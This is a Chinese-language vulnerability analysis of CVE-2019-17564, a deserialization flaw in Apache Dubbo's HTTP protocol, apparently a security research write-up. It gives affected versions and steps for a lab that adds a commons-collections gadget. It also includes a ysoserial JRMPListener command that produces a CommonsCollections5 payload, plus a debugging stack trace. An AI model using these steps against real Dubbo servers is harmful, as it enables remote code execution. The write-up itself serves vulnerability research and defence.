作者: Evi1hui@ QAX A-TEAM
原文鏈接:https://mp.weixin.qq.com/s/dp_I-MyAXdLm4IR2Y2PqEQ

Apache Dubbo是一個分布式框架,致力于提供高性能透明化的RPC遠程服務調用方案,以及SOA服務治理方案。Apache Dubbo在實際應用場景中主要負責解決分布式的相關需求。

Apache Dubbo支持多種協議,官方推薦使用 Dubbo 協議,CVE-2019-17564是屬于Apache Dubbo HTTP協議中的一個反序列化漏洞,該漏洞的主要原因在于當Apache Dubbo啟用HTTP協議之后,Apache Dubbo在接受來自消費者的遠程調用請求的時候存在一個不安全的反序列化行為,最終導致了遠程任意代碼執行。

背景

Apache Dubbo是一個分布式框架,致力于提供高性能透明化的RPC遠程服務調用方案,以及SOA服務治理方案。Apache Dubbo在實際應用場景中主要負責解決分布式的相關需求。

Apache Dubbo支持多種協議,官方推薦使用 Dubbo 協議,CVE-2019-17564是屬于Apache Dubbo HTTP協議中的一個反序列化漏洞,該漏洞的主要原因在于當Apache Dubbo啟用HTTP協議之后,Apache Dubbo在接受來自消費者的遠程調用請求的時候存在一個不安全的反序列化行為,最終導致了遠程任意代碼執行。

影響版本

  1. 2.7.0 <= Apache Dubbo <= 2.7.4.1
  2. 2.6.0 <= Apache Dubbo <= 2.6.7
  3. Apache Dubbo = 2.5.x

漏洞搭建

步驟:

  1. 環境搭建:(https://github.com/apache/dubbo-samples

  2. 脫離出java/org.apache.dubbo.http模塊

  3. 開啟zookeeper

  4. 加入一個惡意的GadGets(JDK7u21或使用pom.xml 開啟一個gadget依賴,比如:commons-collections-3.1)

環境搭建

(脫離出dubbo-samples-http)模塊

/Users/Evilhui/Documents/A-Team/lab-env/apache-dubbo/dubbo-samples/java/dubbo-samples-http/src/main/java

修改maven pom.xml 配置:

1.加入Gadgets:

<dependency>            <groupId>commons-collections</groupId>            <artifactId>commons-collections</artifactId>            <version>3.1</version></dependency>

2.修改dubbo版本至受影響版本

<dubbo.version>2.7.3</dubbo.version>

開啟zookeeper

下載地址:https://archive.apache.org/dist/zookeeper/zookeeper-3.3.3/zookeeper-3.3.3.tar.gz

修改配置文件:

命令行替換:

sed 's/\/export\/crawlspace\/mahadev\/zookeeper\/server1\/data/\/tmp\/data/' zoo_sample.cfg > zoo.cfg

生成數據目錄:

mkdir /tmp/data

開啟zookeeper:

./bin/zkServer.sh start

漏洞調試

首先在servlet處打樁:

使用ysoserial生產序列化數據:

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 "open /Applications/Calculator.app"

寫一個序列化數據類:

執行PoC

開始調試:

命中一路進入:

進一步的跟進發現在org.springframework.remoting.rmi.RemoteInvocationSerializingExporter.doReadRemoteInvocation方法中進行了不安全的反序列化。

堆棧展示:

doReadRemoteInvocation:144, RemoteInvocationSerializingExporter (org.springframework.remoting.rmi)
readRemoteInvocation:121, HttpInvokerServiceExporter (org.springframework.remoting.httpinvoker)
readRemoteInvocation:100, HttpInvokerServiceExporter (org.springframework.remoting.httpinvoker)
handleRequest:79, HttpInvokerServiceExporter (org.springframework.remoting.httpinvoker)
handle:216, HttpProtocol$InternalHandler (org.apache.dubbo.rpc.protocol.http)
service:61, DispatcherServlet (org.apache.dubbo.remoting.http.servlet)
service:790, HttpServlet (javax.servlet.http)
internalDoFilter:231, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
invoke:198, StandardWrapperValve (org.apache.catalina.core)
invoke:96, StandardContextValve (org.apache.catalina.core)
invoke:496, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:140, StandardHostValve (org.apache.catalina.core)
invoke:81, ErrorReportValve (org.apache.catalina.valves)
invoke:87, StandardEngineValve (org.apache.catalina.core)
service:342, CoyoteAdapter (org.apache.catalina.connector)
service:803, Http11Processor (org.apache.coyote.http11)
process:66, AbstractProcessorLight (org.apache.coyote)
process:790, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1468, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)

參考資料:

  1. https://mp.weixin.qq.com/s/pHnhHMNArAiZPVGR1btZIg

  2. https://qiita.com/shimizukawasaki/items/39c9695d439768cfaeb5


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1128/